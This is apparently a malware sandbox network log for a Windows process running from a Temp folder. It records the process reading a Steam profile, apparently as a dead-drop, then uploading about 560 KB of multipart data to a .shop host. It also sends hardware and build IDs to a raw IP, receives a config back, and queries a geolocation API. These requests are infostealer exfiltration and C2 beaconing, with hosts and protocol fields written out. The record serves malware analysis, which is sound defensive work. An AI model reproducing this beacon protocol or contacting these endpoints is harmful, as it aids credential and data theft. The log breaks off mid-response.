2024-05-24 07:43:23 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hefso2fm6ubocqf56svmkl5bcj; expires=Tue, 17-Sep-2024 01:30:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=avUFhbs9pJ3VfDJNvEoLdpqXBNTFDoXejsvzQ4%2BtfNDQQT6AUCmgySXEGP%2FZEiewkczKpgPkgtOg2AGd%2BXpR4hrKQXVIYUc%2BSZGsIETW%2BLC7DLdaRFyrt3yGWFPvSajEJ1PNakvXqToRpA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7844c3e42a0-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49995	104.102.42.29	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:22 UTC	119	OUT	GET /profiles/76561199689717899 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:22 UTC	1882	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 24 May 2024 07:43:22 GMT Content-Length: 35682 Connection: close Set-Cookie: sessionid=27416a0317a4d33955840b89; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C493458b59285f9aa948bf050e0c9a39b; Path=/; Secure; HttpOnly; SameSite=None
2024-05-24 07:43:22 UTC	14502	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-05-24 07:43:22 UTC	16384	IN	Data Raw: 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 Data Ascii: lass="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="sub
2024-05-24 07:43:22 UTC	3768	IN	Data Raw: 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6c 65 76 65 6c 5f 62 74 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 70 72 6f 66 69 6c 65 73 2f 37 36 35 36 31 31 39 39 36 38 39 37 31 37 38 39 39 2f 62 61 64 67 65 73 22 3e 0d 0a 09 09 09 09 09 09 09 Data Ascii: <div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="persona_level_btn" href="https://steamcommunity.com/profiles/76561199689717899/badges">
2024-05-24 07:43:22 UTC	1028	IN	Data Raw: 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 09 09 09 3c 62 72 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 76 61 6c 76 65 5f 6c 69 6e 6b 73 22 3e 0d 0a 09 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f Data Ascii: this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.<br><span class="valve_links"><a href="http://store.steampowered.com/

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49997	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:22 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 562886 Host: employhabragaomlsp.shop
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: 48 85 5b cd 16 92 87 ec 41 a1 00 4e 1b 0d 77 fd 74 63 3e 82 18 7c 94 d0 37 19 50 e3 ad 2f fb fb 81 90 04 35 e3 d6 56 af 54 61 c5 e6 85 36 86 c9 25 45 1f fc 15 01 1d 75 1e dc 30 cb 68 fe 6b d5 4f 82 be 28 6d 9a e1 98 25 98 e2 45 4d 98 b6 05 39 9a 5b 8b b6 76 91 36 fb 50 dc f4 36 de 68 65 51 e2 ba 73 01 3e 3c 6e 4d 88 cd 35 eb 88 0e b3 c2 90 08 1a ee 48 14 13 16 bf 36 a5 4f 4d e3 b3 fe 4c 7d 82 a2 56 2c 83 0d de 03 45 fd 3b a6 a1 25 f2 d6 10 79 b4 a1 ee f3 83 cf bc 51 43 f7 a8 cd f3 37 03 6d 3e a4 44 99 44 84 f7 e2 4e ec a6 a1 92 4b 3c 3e 7f ce de 29 57 b4 0a 1f 98 c8 66 59 d4 d1 d6 f2 b1 10 ef 8b 2f 92 1a ad 1c f6 e5 5e d2 e5 28 2f 8e 86 a5 ee b6 f9 9d a6 d7 1b b4 01 04 00 09 19 19 53 03 a0 a7 c7 2e 76 d0 25 20 b2 3d bc ba 51 7b 75 1c 93 92 5d e4 d4 86 8a Data Ascii: H[ANwtc>\|7P/5VTa6%Eu0hkO(m%EM9[v6P6heQs><nM5H6OML}V,E;%yQC7m>DDNK<>)WfY/^(/S.v% =Q{u]
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: d2 74 d5 7d f8 e0 d9 a4 2a d7 2a c9 4e 21 90 1a fe e5 38 a4 b1 e9 8b a1 de 47 94 f2 e6 c8 8f 8d 71 4b c6 43 fb 6d 4c 33 46 9d 89 0c 82 66 05 41 4e b2 d7 0e 1a 4d 00 23 74 ae 41 90 10 4b 24 c5 ba 38 b2 0a df 12 2c 9c ac f2 f9 bb b4 6b c6 b5 fa e1 e4 3f db ec 24 bf fb 50 1b 22 6f 96 6b 59 3b 67 9c cb 0a f9 0c 46 cc 20 23 84 b0 75 0a a9 c6 a3 8e a1 09 76 d0 cd a3 0f b1 dd 44 f2 8c 18 68 22 d3 fc aa 53 72 bf 1b 93 5e 5d 7b 8b 8f 37 15 ff 1e b8 c8 5f be 96 64 73 a6 cc 6b d7 7a fe a7 3b ed df 5f 4f 56 67 10 3a 3d f0 98 52 fe 8d 57 70 c8 d3 f0 da 17 6f c8 85 b5 d0 0e 01 2e 7d c3 df 63 1f 16 6e 3f 74 76 2b 29 fd 73 7b 6e 2c c5 21 fb bc 43 e4 25 8d e4 df 4a fd a1 a7 7e ca 4e b2 cc 6a 09 d9 a2 e0 57 15 a3 d0 cb 8d f8 d5 d7 fd 42 e3 14 ee 84 90 f5 1d d3 a8 ef d2 39 Data Ascii: t}**N!8GqKCmL3FfANM#tAK$8,k?$P"okY;gF #uvDh"Sr^]{7_dskz;_OVg:=RWpo.}cn?tv+)s{n,!C%J~NjWB9
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: 5c 4e 20 5a 68 b2 cb 56 d5 8d 1e 13 52 ce 8a 5e 13 05 dd eb 3e af 36 b0 f3 b9 1d b5 58 a5 fb 8e 95 1b 22 dd 7e f5 f2 d4 74 c6 4a cb 06 4d 77 29 89 94 bc 35 ad 29 9a b5 2b ed d2 5e e7 13 56 66 36 72 1d 6d cf cd 3c e2 50 02 40 cf d0 e4 9d 5c a6 4d b0 ed f9 23 42 a9 5b ee ee 98 87 06 c2 f4 1c 40 f1 de 38 e7 2b fe c1 d2 3c 77 3e 29 d4 2b 3b 1e 1b 85 60 fb 13 56 50 56 84 33 1c 73 7f 51 e0 e3 e5 63 15 bc 60 17 aa 00 b6 ec 83 93 c5 a2 30 66 99 15 ac d6 19 33 62 9e 45 5d ad f2 6f e9 e8 f0 1b e5 99 b3 a7 f7 91 b8 8d 70 9f ff 42 e6 f4 1f 30 5f b6 a7 6b ba 5a fe c5 af ce 82 2a c5 32 56 84 de 41 36 ac 36 96 74 49 de b7 69 b0 da 30 3a b0 8a 87 ff fd 29 01 ff 16 b9 79 78 8e 79 44 2e 61 4a 2d 48 60 a6 1c be 04 7c 5b 0a ff 8e 7d eb 33 97 f1 30 c2 2a f5 22 f8 3e 20 f0 6b Data Ascii: \N ZhVR^>6X"~tJMw)5)+^Vf6rm<P@\M#B[@8+<w>)+;`VPV3sQc`0f3bE]opB0_kZ2VA66tIi0:)yxyD.aJ-H`\|[}30"> k
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: b6 6c c0 5e e8 d1 34 32 0f 6f db 9e 78 8d 49 d6 a7 93 94 fa 3b 1b 86 0a f2 ee 1c f5 a1 13 6a 1e 4e 48 f5 17 65 97 cc a4 fc a2 1a d3 37 52 ae f1 33 36 dc b8 cc fb e5 14 b2 33 ff 88 83 88 8a 8e d5 01 ab d3 04 1e bd ce 7e 1e b8 61 48 20 10 77 f5 98 ed 25 1e ca b2 d3 da a9 fd 9b 24 30 22 e5 2a df 03 07 8e 66 06 e2 0e 90 7e e8 e3 49 59 95 1b 65 a4 18 ef 9a 00 be 49 3b ba 31 03 f3 cc ba f9 a7 a0 08 d3 ac 43 3e 76 6c 77 7d aa 36 cb 37 c9 43 95 24 8f 6d c4 33 d7 3c 1f d9 48 0c 28 8a f1 2a 99 37 90 b2 64 d3 68 8c d7 29 f5 61 3a 3d 96 ee c0 1e e4 21 36 53 3d 7e e0 44 b6 54 5f 44 00 ab ab 8e 5f 4f d8 ca 21 34 a4 c9 67 9e 55 25 50 f4 13 36 08 e4 12 92 ab dc 3b b0 fc 21 0d 1b af d9 bb 94 10 f1 49 ec 5f 5b ba 99 8d fc 65 ce e0 d5 9e 48 ae 0d 11 d4 61 1c 2f 33 2e 5c 2c Data Ascii: l^42oxI;jNHe7R363~aH w%$0"f~IYeI;1C>vlw}67C$m3<H(7dh)a:=!6S=~DT_D_O!4gU%P6;!I_[eHa/3.\,
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: 57 65 81 59 55 9d 2c 9c 3c d6 56 e2 ae 40 b2 a7 4d cc b6 e8 c0 01 02 d7 19 59 81 e0 16 35 2b 9d d3 d0 59 5c 49 58 48 c8 44 83 c6 c7 b4 98 88 b0 5b 07 7d d9 5b 72 3f 18 40 66 2f 88 01 ac 65 b2 0f e7 4f 66 e6 7b 60 d5 4b fb 55 fe e5 d7 c4 47 81 31 14 bd af c7 a5 f1 08 d6 da e3 e2 71 eb a9 1e 9f 1a 59 83 f9 45 86 24 0f 38 77 d7 3f fb 61 a4 1d bf c7 5b 52 bb 1f 4a 19 41 2a c6 af a7 0a 33 ed 80 ef 38 2d ff 10 a0 de 2f d0 4b 5e d4 c0 d8 a4 c5 ef 7d 28 6f 79 19 7f f5 b1 b9 24 af 97 3f 76 f6 ee 55 8f 81 53 6d d7 d1 b3 81 44 62 9d 81 26 0e d6 10 00 ab d2 6c 3e 21 c0 ff 09 fa 3f e7 2d 55 40 19 c5 e7 05 44 b7 70 82 d3 51 94 a9 9d 4d ac ca 07 04 b9 22 6b 0f 08 52 29 94 57 5e fc cc 00 40 a1 20 21 a3 f7 4e ff ca 49 a6 b5 79 8a 56 be 6a 80 c5 da dd cb db 7f 74 d0 25 5a Data Ascii: WeYU,<V@MY5+Y\IXHD[}[r?@f/eOf{`KUG1qYE$8w?a[RJA*38-/K^}(oy$?vUSmDb&l>!?-U@DpQM"kR)W^@ !NIyVjt%Z
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: 1d 0a 27 b2 71 e3 91 20 c4 6a 1a 7e 63 53 74 cd 22 41 af 9f ed d6 63 28 54 37 da de 99 20 4c 02 de dd 8d ed ed b6 4d 6b d0 36 c6 02 10 3e 8c f9 36 ab db 69 36 94 9c e5 c6 1f 47 e2 83 3d 76 07 aa a3 14 0f 44 b4 14 af af 04 d7 7d b5 18 0d 53 fb d0 f8 fb 1c 61 4c 5e e2 1c d6 d6 aa 44 f4 22 06 bc 5a 8b 02 6b f7 45 2b 4d 1a 99 9f 85 7b 1b 77 37 5f 15 ea 57 28 68 fb ce 5b fa d2 69 eb f3 dd cc be 70 09 09 fa de 0c eb d6 b5 4d aa ca de 9d 4b ac 95 fa 0b 8c 39 95 d6 94 1b 5e a6 50 71 e1 e7 4f b2 6a 70 d6 24 3e 58 fb de 5e 8c dd e8 58 78 af 9b 8d e9 6a 5d 90 dd 66 ff 76 54 ef 88 e8 e4 83 1f 0d 35 c7 46 32 e0 7a ef 2b bc 64 3b e1 0d 5b 2f 73 1b ef fd dc 99 9f ca bb f6 60 62 ac 52 7e 02 ff 9d 17 d8 c8 3c bf 00 d6 da b2 c6 7f 32 03 f2 d6 0a 26 c1 31 3e d7 d0 4f dc 40 Data Ascii: 'q j~cSt"Ac(T7 LMk6>6i6G=vD}SaL^D"ZkE+M{w7_W(h[ipMK9^PqOjp$>X^Xxj]fvT5F2z+d;[/s`bR~<2&1>O@
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: df 48 85 5b 63 2d 67 5a d2 65 35 b5 d8 d4 6b b2 9a 4f 53 74 f6 bf 7a 15 b4 32 ac 4e 8a 78 2b 5f 98 18 d1 7b 5a 30 62 1f 15 80 a8 b2 55 9b 83 44 fe 31 c7 de ff fc 42 17 eb df 71 40 69 30 4c 95 ff 6e 67 35 77 82 1a 60 dd 75 62 66 bc 6a 39 83 1b 6c 3c 12 a6 51 ab a2 92 9e 20 ac 06 5a ba 69 b7 7d f5 e0 b1 b1 93 4a 63 a1 72 cc 7b ff 28 30 48 1a e9 4f 8d 70 f4 a5 76 c7 ac da 0f 14 da 2e ed 9f 4e 11 8a d7 8b 6a 0f 39 c3 e0 5b 13 5d 09 ab b2 b8 be dc f3 55 b1 c1 8e 55 03 c5 1f ba 5f 26 1a 45 b4 8f fc d9 d1 10 99 e3 bf 0e da ae c1 28 ab 07 c3 d0 90 89 9c 7a 4d 30 6d 6f fa 8c 0f e3 01 46 d3 b9 97 36 bc 36 7c c4 45 be a1 d6 06 38 d2 83 23 b2 44 f1 a2 67 8c 1a ee fa fc 0e 10 c2 8d 0e 32 56 e7 c7 fa 79 c8 63 77 44 ed f3 a7 82 e9 e6 f1 0a 71 55 4a d3 85 61 16 34 9f 1c Data Ascii: H[c-gZe5kOStz2Nx+_{Z0bUD1Bq@i0Lng5w`ubfj9l<Q Zi}Jcr{(0HOpv.Nj9[]UU_&E(zM0moF66\|E8#Dg2VycwDqUJa4
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: e7 e5 f8 ec 0f 60 46 53 a3 c8 0c 1e 33 53 44 d5 9f b6 ec 88 12 fe 09 2e 20 8e 29 f2 22 44 47 da 59 a0 c4 10 d8 94 a9 aa 86 c9 33 d9 27 1e 0e 51 67 f7 11 64 33 9c 8e c3 11 da 09 f6 0e 5f 37 06 cf bb 6f ef 61 d8 50 31 ba f8 be 70 4e ac 7e 59 02 a1 a5 86 50 11 73 9b 9f 40 e8 6f c8 31 89 30 4d 65 65 ee 14 77 d3 0c 24 aa 4e 95 a2 c9 9f 4f 5a fc 80 b4 be 4c be 88 7d 9d af f1 4e a8 df 46 c9 4e 85 a1 c4 45 f8 aa a3 57 b4 21 f2 d9 a1 3e 50 2e c2 80 62 5c ba 86 a5 07 f2 96 b8 41 f8 e1 0c 19 35 b1 b8 33 2e cf 57 33 0b 90 53 3c 5f 0b 50 e2 98 f8 68 05 04 ab 63 2a 13 24 5e c3 fb b2 86 ef dc ac 2a ab 1d 7c be 35 28 0d e1 53 c3 d8 b2 91 9a 26 12 71 9d 27 d9 1a 47 4d 10 70 32 33 ce 15 00 6c f8 a0 9e 7e 34 5c ad 75 34 c4 a4 89 19 19 c8 fb 59 13 35 93 cc 4a 12 8d 1e 7b 27 Data Ascii: `FS3SD. )"DGY3'Qgd3_7oaP1pN~YPs@o10Meew$NOZL}NFNEW!>P.b\A53.W3S<_Phc$^\|5(S&q'GMp23l~4\u4Y5J{'
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: c6 6d af e2 70 16 7e e0 12 c0 62 f0 ae 00 81 72 47 e9 fd 05 1d fb 71 47 83 3b c5 c5 5e 57 7e 57 65 2b 49 03 64 e1 18 72 a4 df 44 24 d2 4e 33 0b 68 1e e0 19 75 84 56 71 2c 69 c3 35 b6 22 20 1d 56 b5 93 8c 38 0f 89 d5 78 06 06 16 f0 5c b5 44 d1 74 ef de 16 3c 9c 30 7c f2 d0 ee 98 10 03 8c b5 1b f4 bb 33 f3 8b 00 d1 50 31 f1 b4 09 30 2e a2 d7 f0 62 87 a5 40 a2 36 d4 8b e2 01 8d b1 f9 35 26 b0 c9 d1 70 81 a9 5f e1 a9 25 4c 2e 01 8e f1 02 e8 65 7e 42 ae 89 1a e2 0c 68 34 7a 67 99 ff 04 c6 81 fd 6b d9 5a c4 52 96 af 2b d1 ee f1 06 f9 7c 7a 9e 0a 82 87 ed 7f 66 5a ee 09 50 b1 73 b8 d0 d3 4d 5b 0a 27 77 63 af 5e 8c 6d 46 9c 53 12 73 e5 e3 5a af 7d 88 e8 47 82 dd 93 3f 47 2b 03 76 f7 47 fc 6d cc 33 d8 c6 22 3f 1d 50 c9 99 37 96 44 bf e7 c6 59 94 6c 63 d1 41 c6 87 Data Ascii: mp~brGqG;^W~We+IdrD$N3huVq,i5" V8x\Dt<0\|3P10.b@65&p_%L.e~Bh4zgkZR+\|zfZPsM['wc^mFSsZ}G?G+vGm3"?P7DYlcA
2024-05-24 07:43:24 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=evr2tomhck45cvno5sapvrbj6e; expires=Tue, 17-Sep-2024 01:30:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AX2wmfIbwgZZWEyH9qkjhJWE1HrqQY0T%2B1oxxDxQ55H%2F4d8zPv62i%2BwZVorOwsJ2e55Z3UtdfyNINglBtvRJ3AMoIJQ0IaVPVWrHAm6GWQr1BnKczWvsLAhks%2BqBifc19TaIOyQIxKu5Uw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba787ead04346-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49998	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:23 UTC	186	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49999	78.47.123.174	443	7400	C:\Users\user\AppData\Local\Temp\katC73D.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:25 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:25 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 41 37 38 41 31 32 34 36 33 33 42 33 30 32 33 30 31 31 38 35 39 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="hwid"1A78A124633B3023011859-a33c7340-61ca-11ee-8c18-806e6f6e6963------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------
2024-05-24 07:43:25 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:25 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 61 36 33 38 39 34 32 30 30 64 35 38 35 31 63 36 38 31 33 63 39 61 65 39 63 31 63 32 65 37 65 31 7c 31 7c 31 7c 31 7c 31 7c 31 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|a63894200d5851c6813c9ae9c1c2e7e1\|1\|1\|1\|1\|1\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	50000	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:25 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-05-24 07:43:26 UTC	891	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:26 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: 